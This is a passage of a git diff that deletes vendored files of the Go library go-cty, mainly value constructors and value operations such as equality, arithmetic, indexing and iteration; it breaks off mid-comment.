empty list of the given element type. -func ListValEmpty(element Type) Value { - return Value{ - ty: List(element), - v: []interface{}{}, - } -} - -// MapVal returns a Value of a map type whose element type is defined by -// the types of the given values, which must be homogenous. -// -// If the types are not all consistent (aside from elements that are of the -// dynamic pseudo-type) then this function will panic. It will panic also -// if the given map is empty, since then the element type cannot be inferred. -// (See also MapValEmpty.) -func MapVal(vals map[string]Value) Value { - if len(vals) == 0 { - panic("must not call MapVal with empty map") - } - elementType := DynamicPseudoType - rawMap := make(map[string]interface{}, len(vals)) - - for key, val := range vals { - if elementType == DynamicPseudoType { - elementType = val.ty - } else if val.ty != DynamicPseudoType && !elementType.Equals(val.ty) { - panic(fmt.Errorf( - "inconsistent map element types (%#v then %#v)", - elementType, val.ty, - )) - } - - rawMap[NormalizeString(key)] = val.v - } - - return Value{ - ty: Map(elementType), - v: rawMap, - } -} - -// MapValEmpty returns an empty map of the given element type. -func MapValEmpty(element Type) Value { - return Value{ - ty: Map(element), - v: map[string]interface{}{}, - } -} - -// SetVal returns a Value of set type whose element type is defined by -// the types of the given values, which must be homogenous. -// -// If the types are not all consistent (aside from elements that are of the -// dynamic pseudo-type) then this function will panic. It will panic also -// if the given list is empty, since then the element type cannot be inferred. -// (See also SetValEmpty.) -func SetVal(vals []Value) Value { - if len(vals) == 0 { - panic("must not call SetVal with empty slice") - } - elementType := DynamicPseudoType - rawList := make([]interface{}, len(vals)) - var markSets []ValueMarks - - for i, val := range vals { - if unmarkedVal, marks := val.UnmarkDeep(); len(marks) > 0 { - val = unmarkedVal - markSets = append(markSets, marks) - } - if val.ContainsMarked() { - // FIXME: Allow this, but unmark the values and apply the - // marking to the set itself instead. - panic("set cannot contain marked values") - } - if elementType == DynamicPseudoType { - elementType = val.ty - } else if val.ty != DynamicPseudoType && !elementType.Equals(val.ty) { - panic(fmt.Errorf( - "inconsistent set element types (%#v then %#v)", - elementType, val.ty, - )) - } - - rawList[i] = val.v - } - - rawVal := set.NewSetFromSlice(setRules{elementType}, rawList) - - return Value{ - ty: Set(elementType), - v: rawVal, - }.WithMarks(markSets...) -} - -// SetValFromValueSet returns a Value of set type based on an already-constructed -// ValueSet. -// -// The element type of the returned value is the element type of the given -// set. -func SetValFromValueSet(s ValueSet) Value { - ety := s.ElementType() - rawVal := s.s.Copy() // copy so caller can't mutate what we wrap - - return Value{ - ty: Set(ety), - v: rawVal, - } -} - -// SetValEmpty returns an empty set of the given element type. -func SetValEmpty(element Type) Value { - return Value{ - ty: Set(element), - v: set.NewSet(setRules{element}), - } -} - -// CapsuleVal creates a value of the given capsule type using the given -// wrapVal, which must be a pointer to a value of the capsule type's native -// type. -// -// This function will panic if the given type is not a capsule type, if -// the given wrapVal is not compatible with the given capsule type, or if -// wrapVal is not a pointer. -func CapsuleVal(ty Type, wrapVal interface{}) Value { - if !ty.IsCapsuleType() { - panic("not a capsule type") - } - - wv := reflect.ValueOf(wrapVal) - if wv.Kind() != reflect.Ptr { - panic("wrapVal is not a pointer") - } - - it := ty.typeImpl.(*capsuleType).GoType - if !wv.Type().Elem().AssignableTo(it) { - panic("wrapVal target is not compatible with the given capsule type") - } - - return Value{ - ty: ty, - v: wrapVal, - } -} diff --git a/vendor/github.com/zclconf/go-cty/cty/value_ops.go b/vendor/github.com/zclconf/go-cty/cty/value_ops.go deleted file mode 100644 index 966b999c7f..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/value_ops.go +++ /dev/null @@ -1,1298 +0,0 @@ -package cty - -import ( - "fmt" - "math/big" - "reflect" - - "github.com/zclconf/go-cty/cty/set" -) - -// GoString is an implementation of fmt.GoStringer that produces concise -// source-like representations of values suitable for use in debug messages. -func (val Value) GoString() string { - if val.IsMarked() { - unVal, marks := val.Unmark() - if len(marks) == 1 { - var mark interface{} - for m := range marks { - mark = m - } - return fmt.Sprintf("%#v.Mark(%#v)", unVal, mark) - } - return fmt.Sprintf("%#v.WithMarks(%#v)", unVal, marks) - } - - if val == NilVal { - return "cty.NilVal" - } - - if val.IsNull() { - return fmt.Sprintf("cty.NullVal(%#v)", val.ty) - } - if val == DynamicVal { // is unknown, so must be before the IsKnown check below - return "cty.DynamicVal" - } - if !val.IsKnown() { - return fmt.Sprintf("cty.UnknownVal(%#v)", val.ty) - } - - // By the time we reach here we've dealt with all of the exceptions around - // unknowns and nulls, so we're guaranteed that the values are the - // canonical internal representation of the given type. - - switch val.ty { - case Bool: - if val.v.(bool) { - return "cty.True" - } - return "cty.False" - case Number: - fv := val.v.(*big.Float) - // We'll try to use NumberIntVal or NumberFloatVal if we can, since - // the fully-general initializer call is pretty ugly-looking. - if fv.IsInt() { - return fmt.Sprintf("cty.NumberIntVal(%#v)", fv) - } - if rfv, accuracy := fv.Float64(); accuracy == big.Exact { - return fmt.Sprintf("cty.NumberFloatVal(%#v)", rfv) - } - return fmt.Sprintf("cty.MustParseNumberVal(%q)", fv.Text('f', -1)) - case String: - return fmt.Sprintf("cty.StringVal(%#v)", val.v) - } - - switch { - case val.ty.IsSetType(): - vals := val.AsValueSlice() - if len(vals) == 0 { - return fmt.Sprintf("cty.SetValEmpty(%#v)", val.ty.ElementType()) - } - return fmt.Sprintf("cty.SetVal(%#v)", vals) - case val.ty.IsListType(): - vals := val.AsValueSlice() - if len(vals) == 0 { - return fmt.Sprintf("cty.ListValEmpty(%#v)", val.ty.ElementType()) - } - return fmt.Sprintf("cty.ListVal(%#v)", vals) - case val.ty.IsMapType(): - vals := val.AsValueMap() - if len(vals) == 0 { - return fmt.Sprintf("cty.MapValEmpty(%#v)", val.ty.ElementType()) - } - return fmt.Sprintf("cty.MapVal(%#v)", vals) - case val.ty.IsTupleType(): - if val.ty.Equals(EmptyTuple) { - return "cty.EmptyTupleVal" - } - vals := val.AsValueSlice() - return fmt.Sprintf("cty.TupleVal(%#v)", vals) - case val.ty.IsObjectType(): - if val.ty.Equals(EmptyObject) { - return "cty.EmptyObjectVal" - } - vals := val.AsValueMap() - return fmt.Sprintf("cty.ObjectVal(%#v)", vals) - case val.ty.IsCapsuleType(): - impl := val.ty.CapsuleOps().GoString - if impl == nil { - return fmt.Sprintf("cty.CapsuleVal(%#v, %#v)", val.ty, val.v) - } - return impl(val.EncapsulatedValue()) - } - - // Default exposes implementation details, so should actually cover - // all of the cases above for good caller UX. - return fmt.Sprintf("cty.Value{ty: %#v, v: %#v}", val.ty, val.v) -} - -// Equals returns True if the receiver and the given other value have the -// same type and are exactly equal in value. -// -// As a special case, two null values are always equal regardless of type. -// -// The usual short-circuit rules apply, so the result will be unknown if -// either of the given values are. -// -// Use RawEquals to compare if two values are equal *ignoring* the -// short-circuit rules and the exception for null values. -func (val Value) Equals(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Equals(other).WithMarks(valMarks, otherMarks) - } - - // Start by handling Unknown values before considering types. - // This needs to be done since Null values are always equal regardless of - // type. - switch { - case !val.IsKnown() && !other.IsKnown(): - // both unknown - return UnknownVal(Bool) - case val.IsKnown() && !other.IsKnown(): - switch { - case val.IsNull(), other.ty.HasDynamicTypes(): - // If known is Null, we need to wait for the unknown value since - // nulls of any type are equal. - // An unknown with a dynamic type compares as unknown, which we need - // to check before the type comparison below. - return UnknownVal(Bool) - case !val.ty.Equals(other.ty): - // There is no null comparison or dynamic types, so unequal types - // will never be equal. - return False - default: - return UnknownVal(Bool) - } - case other.IsKnown() && !val.IsKnown(): - switch { - case other.IsNull(), val.ty.HasDynamicTypes(): - // If known is Null, we need to wait for the unknown value since - // nulls of any type are equal. - // An unknown with a dynamic type compares as unknown, which we need - // to check before the type comparison below. - return UnknownVal(Bool) - case !other.ty.Equals(val.ty): - // There's no null comparison or dynamic types, so unequal types - // will never be equal. - return False - default: - return UnknownVal(Bool) - } - } - - switch { - case val.IsNull() && other.IsNull(): - // Nulls are always equal, regardless of type - return BoolVal(true) - case val.IsNull() || other.IsNull(): - // If only one is null then the result must be false - return BoolVal(false) - } - - // Check if there are any nested dynamic values making this comparison - // unknown. - if !val.HasWhollyKnownType() || !other.HasWhollyKnownType() { - // Even if we have dynamic values, we can still determine inequality if - // there is no way the types could later conform. - if val.ty.TestConformance(other.ty) != nil && other.ty.TestConformance(val.ty) != nil { - return BoolVal(false) - } - - return UnknownVal(Bool) - } - - if !val.ty.Equals(other.ty) { - return BoolVal(false) - } - - ty := val.ty - result := false - - switch { - case ty == Number: - result = val.v.(*big.Float).Cmp(other.v.(*big.Float)) == 0 - case ty == Bool: - result = val.v.(bool) == other.v.(bool) - case ty == String: - // Simple equality is safe because we NFC-normalize strings as they - // enter our world from StringVal, and so we can assume strings are - // always in normal form. - result = val.v.(string) == other.v.(string) - case ty.IsObjectType(): - oty := ty.typeImpl.(typeObject) - result = true - for attr, aty := range oty.AttrTypes { - lhs := Value{ - ty: aty, - v: val.v.(map[string]interface{})[attr], - } - rhs := Value{ - ty: aty, - v: other.v.(map[string]interface{})[attr], - } - eq := lhs.Equals(rhs) - if !eq.IsKnown() { - return UnknownVal(Bool) - } - if eq.False() { - result = false - break - } - } - case ty.IsTupleType(): - tty := ty.typeImpl.(typeTuple) - result = true - for i, ety := range tty.ElemTypes { - lhs := Value{ - ty: ety, - v: val.v.([]interface{})[i], - } - rhs := Value{ - ty: ety, - v: other.v.([]interface{})[i], - } - eq := lhs.Equals(rhs) - if !eq.IsKnown() { - return UnknownVal(Bool) - } - if eq.False() { - result = false - break - } - } - case ty.IsListType(): - ety := ty.typeImpl.(typeList).ElementTypeT - if len(val.v.([]interface{})) == len(other.v.([]interface{})) { - result = true - for i := range val.v.([]interface{}) { - lhs := Value{ - ty: ety, - v: val.v.([]interface{})[i], - } - rhs := Value{ - ty: ety, - v: other.v.([]interface{})[i], - } - eq := lhs.Equals(rhs) - if !eq.IsKnown() { - return UnknownVal(Bool) - } - if eq.False() { - result = false - break - } - } - } - case ty.IsSetType(): - s1 := val.v.(set.Set) - s2 := other.v.(set.Set) - equal := true - - // Note that by our definition of sets it's never possible for two - // sets that contain unknown values (directly or indicrectly) to - // ever be equal, even if they are otherwise identical. - - // FIXME: iterating both lists and checking each item is not the - // ideal implementation here, but it works with the primitives we - // have in the set implementation. Perhaps the set implementation - // can provide its own equality test later. - s1.EachValue(func(v interface{}) { - if !s2.Has(v) { - equal = false - } - }) - s2.EachValue(func(v interface{}) { - if !s1.Has(v) { - equal = false - } - }) - - result = equal - case ty.IsMapType(): - ety := ty.typeImpl.(typeMap).ElementTypeT - if len(val.v.(map[string]interface{})) == len(other.v.(map[string]interface{})) { - result = true - for k := range val.v.(map[string]interface{}) { - if _, ok := other.v.(map[string]interface{})[k]; !ok { - result = false - break - } - lhs := Value{ - ty: ety, - v: val.v.(map[string]interface{})[k], - } - rhs := Value{ - ty: ety, - v: other.v.(map[string]interface{})[k], - } - eq := lhs.Equals(rhs) - if !eq.IsKnown() { - return UnknownVal(Bool) - } - if eq.False() { - result = false - break - } - } - } - case ty.IsCapsuleType(): - impl := val.ty.CapsuleOps().Equals - if impl == nil { - impl := val.ty.CapsuleOps().RawEquals - if impl == nil { - // A capsule type's encapsulated value is a pointer to a value of its - // native type, so we can just compare these to get the identity test - // we need. - return BoolVal(val.v == other.v) - } - return BoolVal(impl(val.v, other.v)) - } - ret := impl(val.v, other.v) - if !ret.Type().Equals(Bool) { - panic(fmt.Sprintf("Equals for %#v returned %#v, not cty.Bool", ty, ret.Type())) - } - return ret - - default: - // should never happen - panic(fmt.Errorf("unsupported value type %#v in Equals", ty)) - } - - return BoolVal(result) -} - -// NotEqual is a shorthand for Equals followed by Not. -func (val Value) NotEqual(other Value) Value { - return val.Equals(other).Not() -} - -// True returns true if the receiver is True, false if False, and panics if -// the receiver is not of type Bool. -// -// This is a helper function to help write application logic that works with -// values, rather than a first-class operation. It does not work with unknown -// or null values. For more robust handling with unknown value -// short-circuiting, use val.Equals(cty.True). -func (val Value) True() bool { - val.assertUnmarked() - if val.ty != Bool { - panic("not bool") - } - return val.Equals(True).v.(bool) -} - -// False is the opposite of True. -func (val Value) False() bool { - return !val.True() -} - -// RawEquals returns true if and only if the two given values have the same -// type and equal value, ignoring the usual short-circuit rules about -// unknowns and dynamic types. -// -// This method is more appropriate for testing than for real use, since it -// skips over usual semantics around unknowns but as a consequence allows -// testing the result of another operation that is expected to return unknown. -// It returns a primitive Go bool rather than a Value to remind us that it -// is not a first-class value operation. -func (val Value) RawEquals(other Value) bool { - if !val.ty.Equals(other.ty) { - return false - } - if !val.HasSameMarks(other) { - return false - } - // Since we've now checked the marks, we'll unmark for the rest of this... - val = val.unmarkForce() - other = other.unmarkForce() - - if (!val.IsKnown()) && (!other.IsKnown()) { - return true - } - if (val.IsKnown() && !other.IsKnown()) || (other.IsKnown() && !val.IsKnown()) { - return false - } - if val.IsNull() && other.IsNull() { - return true - } - if (val.IsNull() && !other.IsNull()) || (other.IsNull() && !val.IsNull()) { - return false - } - if val.ty == DynamicPseudoType && other.ty == DynamicPseudoType { - return true - } - - ty := val.ty - switch { - case ty == Number || ty == Bool || ty == String || ty == DynamicPseudoType: - return val.Equals(other).True() - case ty.IsObjectType(): - oty := ty.typeImpl.(typeObject) - for attr, aty := range oty.AttrTypes { - lhs := Value{ - ty: aty, - v: val.v.(map[string]interface{})[attr], - } - rhs := Value{ - ty: aty, - v: other.v.(map[string]interface{})[attr], - } - eq := lhs.RawEquals(rhs) - if !eq { - return false - } - } - return true - case ty.IsTupleType(): - tty := ty.typeImpl.(typeTuple) - for i, ety := range tty.ElemTypes { - lhs := Value{ - ty: ety, - v: val.v.([]interface{})[i], - } - rhs := Value{ - ty: ety, - v: other.v.([]interface{})[i], - } - eq := lhs.RawEquals(rhs) - if !eq { - return false - } - } - return true - case ty.IsListType(): - ety := ty.typeImpl.(typeList).ElementTypeT - if len(val.v.([]interface{})) == len(other.v.([]interface{})) { - for i := range val.v.([]interface{}) { - lhs := Value{ - ty: ety, - v: val.v.([]interface{})[i], - } - rhs := Value{ - ty: ety, - v: other.v.([]interface{})[i], - } - eq := lhs.RawEquals(rhs) - if !eq { - return false - } - } - return true - } - return false - case ty.IsSetType(): - s1 := val.v.(set.Set) - s2 := other.v.(set.Set) - - // Since we're intentionally ignoring our rule that two unknowns - // are never equal, we can cheat here. - // (This isn't 100% right since e.g. it will fail if the set contains - // numbers that are infinite, which DeepEqual can't compare properly. - // We're accepting that limitation for simplicity here, since this - // function is here primarily for testing.) - return reflect.DeepEqual(s1, s2) - - case ty.IsMapType(): - ety := ty.typeImpl.(typeMap).ElementTypeT - if len(val.v.(map[string]interface{})) == len(other.v.(map[string]interface{})) { - for k := range val.v.(map[string]interface{}) { - if _, ok := other.v.(map[string]interface{})[k]; !ok { - return false - } - lhs := Value{ - ty: ety, - v: val.v.(map[string]interface{})[k], - } - rhs := Value{ - ty: ety, - v: other.v.(map[string]interface{})[k], - } - eq := lhs.RawEquals(rhs) - if !eq { - return false - } - } - return true - } - return false - case ty.IsCapsuleType(): - impl := val.ty.CapsuleOps().RawEquals - if impl == nil { - // A capsule type's encapsulated value is a pointer to a value of its - // native type, so we can just compare these to get the identity test - // we need. - return val.v == other.v - } - return impl(val.v, other.v) - - default: - // should never happen - panic(fmt.Errorf("unsupported value type %#v in RawEquals", ty)) - } -} - -// Add returns the sum of the receiver and the given other value. Both values -// must be numbers; this method will panic if not. -func (val Value) Add(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Add(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - ret := new(big.Float) - ret.Add(val.v.(*big.Float), other.v.(*big.Float)) - return NumberVal(ret) -} - -// Subtract returns receiver minus the given other value. Both values must be -// numbers; this method will panic if not. -func (val Value) Subtract(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Subtract(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - return val.Add(other.Negate()) -} - -// Negate returns the numeric negative of the receiver, which must be a number. -// This method will panic when given a value of any other type. -func (val Value) Negate() Value { - if val.IsMarked() { - val, valMarks := val.Unmark() - return val.Negate().WithMarks(valMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - ret := new(big.Float).Neg(val.v.(*big.Float)) - return NumberVal(ret) -} - -// Multiply returns the product of the receiver and the given other value. -// Both values must be numbers; this method will panic if not. -func (val Value) Multiply(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Multiply(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - ret := new(big.Float) - ret.Mul(val.v.(*big.Float), other.v.(*big.Float)) - return NumberVal(ret) -} - -// Divide returns the quotient of the receiver and the given other value. -// Both values must be numbers; this method will panic if not. -// -// If the "other" value is exactly zero, this operation will return either -// PositiveInfinity or NegativeInfinity, depending on the sign of the -// receiver value. For some use-cases the presence of infinities may be -// undesirable, in which case the caller should check whether the -// other value equals zero before calling and raise an error instead. -// -// If both values are zero or infinity, this function will panic with -// an instance of big.ErrNaN. -func (val Value) Divide(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Divide(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - ret := new(big.Float) - ret.Quo(val.v.(*big.Float), other.v.(*big.Float)) - return NumberVal(ret) -} - -// Modulo returns the remainder of an integer division of the receiver and -// the given other value. Both values must be numbers; this method will panic -// if not. -// -// If the "other" value is exactly zero, this operation will return either -// PositiveInfinity or NegativeInfinity, depending on the sign of the -// receiver value. For some use-cases the presence of infinities may be -// undesirable, in which case the caller should check whether the -// other value equals zero before calling and raise an error instead. -// -// This operation is primarily here for use with nonzero natural numbers. -// Modulo with "other" as a non-natural number gets somewhat philosophical, -// and this function takes a position on what that should mean, but callers -// may wish to disallow such things outright or implement their own modulo -// if they disagree with the interpretation used here. -func (val Value) Modulo(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Modulo(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - // We cheat a bit here with infinities, just abusing the Multiply operation - // to get an infinite result of the correct sign. - if val == PositiveInfinity || val == NegativeInfinity || other == PositiveInfinity || other == NegativeInfinity { - return val.Multiply(other) - } - - if other.RawEquals(Zero) { - return val - } - - // FIXME: This is a bit clumsy. Should come back later and see if there's a - // more straightforward way to do this. - rat := val.Divide(other) - ratFloorInt := &big.Int{} - rat.v.(*big.Float).Int(ratFloorInt) - work := (&big.Float{}).SetInt(ratFloorInt) - work.Mul(other.v.(*big.Float), work) - work.Sub(val.v.(*big.Float), work) - - return NumberVal(work) -} - -// Absolute returns the absolute (signless) value of the receiver, which must -// be a number or this method will panic. -func (val Value) Absolute() Value { - if val.IsMarked() { - val, valMarks := val.Unmark() - return val.Absolute().WithMarks(valMarks) - } - - if shortCircuit := mustTypeCheck(Number, Number, val); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Number) - return *shortCircuit - } - - ret := (&big.Float{}).Abs(val.v.(*big.Float)) - return NumberVal(ret) -} - -// GetAttr returns the value of the given attribute of the receiver, which -// must be of an object type that has an attribute of the given name. -// This method will panic if the receiver type is not compatible. -// -// The method will also panic if the given attribute name is not defined -// for the value's type. Use the attribute-related methods on Type to -// check for the validity of an attribute before trying to use it. -// -// This method may be called on a value whose type is DynamicPseudoType, -// in which case the result will also be DynamicVal. -func (val Value) GetAttr(name string) Value { - if val.IsMarked() { - val, valMarks := val.Unmark() - return val.GetAttr(name).WithMarks(valMarks) - } - - if val.ty == DynamicPseudoType { - return DynamicVal - } - - if !val.ty.IsObjectType() { - panic("value is not an object") - } - - name = NormalizeString(name) - if !val.ty.HasAttribute(name) { - panic("value has no attribute of that name") - } - - attrType := val.ty.AttributeType(name) - - if !val.IsKnown() { - return UnknownVal(attrType) - } - - return Value{ - ty: attrType, - v: val.v.(map[string]interface{})[name], - } -} - -// Index returns the value of an element of the receiver, which must have -// either a list, map or tuple type. This method will panic if the receiver -// type is not compatible. -// -// The key value must be the correct type for the receving collection: a -// number if the collection is a list or tuple, or a string if it is a map. -// In the case of a list or tuple, the given number must be convertable to int -// or this method will panic. The key may alternatively be of -// DynamicPseudoType, in which case the result itself is an unknown of the -// collection's element type. -// -// The result is of the receiver collection's element type, or in the case -// of a tuple the type of the specific element index requested. -// -// This method may be called on a value whose type is DynamicPseudoType, -// in which case the result will also be the DynamicValue. -func (val Value) Index(key Value) Value { - if val.IsMarked() || key.IsMarked() { - val, valMarks := val.Unmark() - key, keyMarks := key.Unmark() - return val.Index(key).WithMarks(valMarks, keyMarks) - } - - if val.ty == DynamicPseudoType { - return DynamicVal - } - - switch { - case val.Type().IsListType(): - elty := val.Type().ElementType() - if key.Type() == DynamicPseudoType { - return UnknownVal(elty) - } - - if key.Type() != Number { - panic("element key for list must be number") - } - if !key.IsKnown() { - return UnknownVal(elty) - } - - if !val.IsKnown() { - return UnknownVal(elty) - } - - index, accuracy := key.v.(*big.Float).Int64() - if accuracy != big.Exact || index < 0 { - panic("element key for list must be non-negative integer") - } - - return Value{ - ty: elty, - v: val.v.([]interface{})[index], - } - case val.Type().IsMapType(): - elty := val.Type().ElementType() - if key.Type() == DynamicPseudoType { - return UnknownVal(elty) - } - - if key.Type() != String { - panic("element key for map must be string") - } - if !key.IsKnown() { - return UnknownVal(elty) - } - - if !val.IsKnown() { - return UnknownVal(elty) - } - - keyStr := key.v.(string) - - return Value{ - ty: elty, - v: val.v.(map[string]interface{})[keyStr], - } - case val.Type().IsTupleType(): - if key.Type() == DynamicPseudoType { - return DynamicVal - } - - if key.Type() != Number { - panic("element key for tuple must be number") - } - if !key.IsKnown() { - return DynamicVal - } - - index, accuracy := key.v.(*big.Float).Int64() - if accuracy != big.Exact || index < 0 { - panic("element key for list must be non-negative integer") - } - - eltys := val.Type().TupleElementTypes() - - if !val.IsKnown() { - return UnknownVal(eltys[index]) - } - - return Value{ - ty: eltys[index], - v: val.v.([]interface{})[index], - } - default: - panic("not a list, map, or tuple type") - } -} - -// HasIndex returns True if the receiver (which must be supported for Index) -// has an element with the given index key, or False if it does not. -// -// The result will be UnknownVal(Bool) if either the collection or the -// key value are unknown. -// -// This method will panic if the receiver is not indexable, but does not -// impose any panic-causing type constraints on the key. -func (val Value) HasIndex(key Value) Value { - if val.IsMarked() || key.IsMarked() { - val, valMarks := val.Unmark() - key, keyMarks := key.Unmark() - return val.HasIndex(key).WithMarks(valMarks, keyMarks) - } - - if val.ty == DynamicPseudoType { - return UnknownVal(Bool) - } - - switch { - case val.Type().IsListType(): - if key.Type() == DynamicPseudoType { - return UnknownVal(Bool) - } - - if key.Type() != Number { - return False - } - if !key.IsKnown() { - return UnknownVal(Bool) - } - if !val.IsKnown() { - return UnknownVal(Bool) - } - - index, accuracy := key.v.(*big.Float).Int64() - if accuracy != big.Exact || index < 0 { - return False - } - - return BoolVal(int(index) < len(val.v.([]interface{})) && index >= 0) - case val.Type().IsMapType(): - if key.Type() == DynamicPseudoType { - return UnknownVal(Bool) - } - - if key.Type() != String { - return False - } - if !key.IsKnown() { - return UnknownVal(Bool) - } - if !val.IsKnown() { - return UnknownVal(Bool) - } - - keyStr := key.v.(string) - _, exists := val.v.(map[string]interface{})[keyStr] - - return BoolVal(exists) - case val.Type().IsTupleType(): - if key.Type() == DynamicPseudoType { - return UnknownVal(Bool) - } - - if key.Type() != Number { - return False - } - if !key.IsKnown() { - return UnknownVal(Bool) - } - - index, accuracy := key.v.(*big.Float).Int64() - if accuracy != big.Exact || index < 0 { - return False - } - - length := val.Type().Length() - return BoolVal(int(index) < length && index >= 0) - default: - panic("not a list, map, or tuple type") - } -} - -// HasElement returns True if the receiver (which must be of a set type) -// has the given value as an element, or False if it does not. -// -// The result will be UnknownVal(Bool) if either the set or the -// given value are unknown. -// -// This method will panic if the receiver is not a set, or if it is a null set. -func (val Value) HasElement(elem Value) Value { - if val.IsMarked() || elem.IsMarked() { - val, valMarks := val.Unmark() - elem, elemMarks := elem.Unmark() - return val.HasElement(elem).WithMarks(valMarks, elemMarks) - } - - ty := val.Type() - - if !ty.IsSetType() { - panic("not a set type") - } - if !val.IsKnown() || !elem.IsKnown() { - return UnknownVal(Bool) - } - if val.IsNull() { - panic("can't call HasElement on a nil value") - } - if !ty.ElementType().Equals(elem.Type()) { - return False - } - - s := val.v.(set.Set) - return BoolVal(s.Has(elem.v)) -} - -// Length returns the length of the receiver, which must be a collection type -// or tuple type, as a number value. If the receiver is not a compatible type -// then this method will panic. -// -// If the receiver is unknown then the result is also unknown. -// -// If the receiver is null then this function will panic. -// -// Note that Length is not supported for strings. To determine the length -// of a string, call AsString and take the length of the native Go string -// that is returned. -func (val Value) Length() Value { - if val.IsMarked() { - val, valMarks := val.Unmark() - return val.Length().WithMarks(valMarks) - } - - if val.Type().IsTupleType() { - // For tuples, we can return the length even if the value is not known. - return NumberIntVal(int64(val.Type().Length())) - } - - if !val.IsKnown() { - return UnknownVal(Number) - } - - return NumberIntVal(int64(val.LengthInt())) -} - -// LengthInt is like Length except it returns an int. It has the same behavior -// as Length except that it will panic if the receiver is unknown. -// -// This is an integration method provided for the convenience of code bridging -// into Go's type system. -func (val Value) LengthInt() int { - val.assertUnmarked() - if val.Type().IsTupleType() { - // For tuples, we can return the length even if the value is not known. - return val.Type().Length() - } - if val.Type().IsObjectType() { - // For objects, the length is the number of attributes associated with the type. - return len(val.Type().AttributeTypes()) - } - if !val.IsKnown() { - panic("value is not known") - } - if val.IsNull() { - panic("value is null") - } - - switch { - - case val.ty.IsListType(): - return len(val.v.([]interface{})) - - case val.ty.IsSetType(): - return val.v.(set.Set).Length() - - case val.ty.IsMapType(): - return len(val.v.(map[string]interface{})) - - default: - panic("value is not a collection") - } -} - -// ElementIterator returns an ElementIterator for iterating the elements -// of the receiver, which must be a collection type, a tuple type, or an object -// type. If called on a method of any other type, this method will panic. -// -// The value must be Known and non-Null, or this method will panic. -// -// If the receiver is of a list type, the returned keys will be of type Number -// and the values will be of the list's element type. -// -// If the receiver is of a map type, the returned keys will be of type String -// and the value will be of the map's element type. Elements are passed in -// ascending lexicographical order by key. -// -// If the receiver is of a set type, each element is returned as both the -// key and the value, since set members are their own identity. -// -// If the receiver is of a tuple type, the returned keys will be of type Number -// and the value will be of the corresponding element's type. -// -// If the receiver is of an object type, the returned keys will be of type -// String and the value will be of the corresponding attributes's type. -// -// ElementIterator is an integration method, so it cannot handle Unknown -// values. This method will panic if the receiver is Unknown. -func (val Value) ElementIterator() ElementIterator { - val.assertUnmarked() - if !val.IsKnown() { - panic("can't use ElementIterator on unknown value") - } - if val.IsNull() { - panic("can't use ElementIterator on null value") - } - return elementIterator(val) -} - -// CanIterateElements returns true if the receiver can support the -// ElementIterator method (and by extension, ForEachElement) without panic. -func (val Value) CanIterateElements() bool { - return canElementIterator(val) -} - -// ForEachElement executes a given callback function for each element of -// the receiver, which must be a collection type or tuple type, or this method -// will panic. -// -// ForEachElement uses ElementIterator internally, and so the values passed -// to the callback are as described for ElementIterator. -// -// Returns true if the iteration exited early due to the callback function -// returning true, or false if the loop ran to completion. -// -// ForEachElement is an integration method, so it cannot handle Unknown -// values. This method will panic if the receiver is Unknown. -func (val Value) ForEachElement(cb ElementCallback) bool { - val.assertUnmarked() - it := val.ElementIterator() - for it.Next() { - key, val := it.Element() - stop := cb(key, val) - if stop { - return true - } - } - return false -} - -// Not returns the logical inverse of the receiver, which must be of type -// Bool or this method will panic. -func (val Value) Not() Value { - if val.IsMarked() { - val, valMarks := val.Unmark() - return val.Not().WithMarks(valMarks) - } - - if shortCircuit := mustTypeCheck(Bool, Bool, val); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Bool) - return *shortCircuit - } - - return BoolVal(!val.v.(bool)) -} - -// And returns the result of logical AND with the receiver and the other given -// value, which must both be of type Bool or this method will panic. -func (val Value) And(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.And(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Bool, Bool, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Bool) - return *shortCircuit - } - - return BoolVal(val.v.(bool) && other.v.(bool)) -} - -// Or returns the result of logical OR with the receiver and the other given -// value, which must both be of type Bool or this method will panic. -func (val Value) Or(other Value) Value { - if val.IsMarked() || other.IsMarked() { - val, valMarks := val.Unmark() - other, otherMarks := other.Unmark() - return val.Or(other).WithMarks(valMarks, otherMarks) - } - - if shortCircuit := mustTypeCheck(Bool, Bool, val, other); shortCircuit != nil { - shortCircuit = forceShortCircuitType(shortCircuit, Bool) - return *shortCircuit - } - - return BoolVal(val.v.(bool) || other.v.(bool)) -} - -// LessThan returns True if the receiver is less than the other given value, 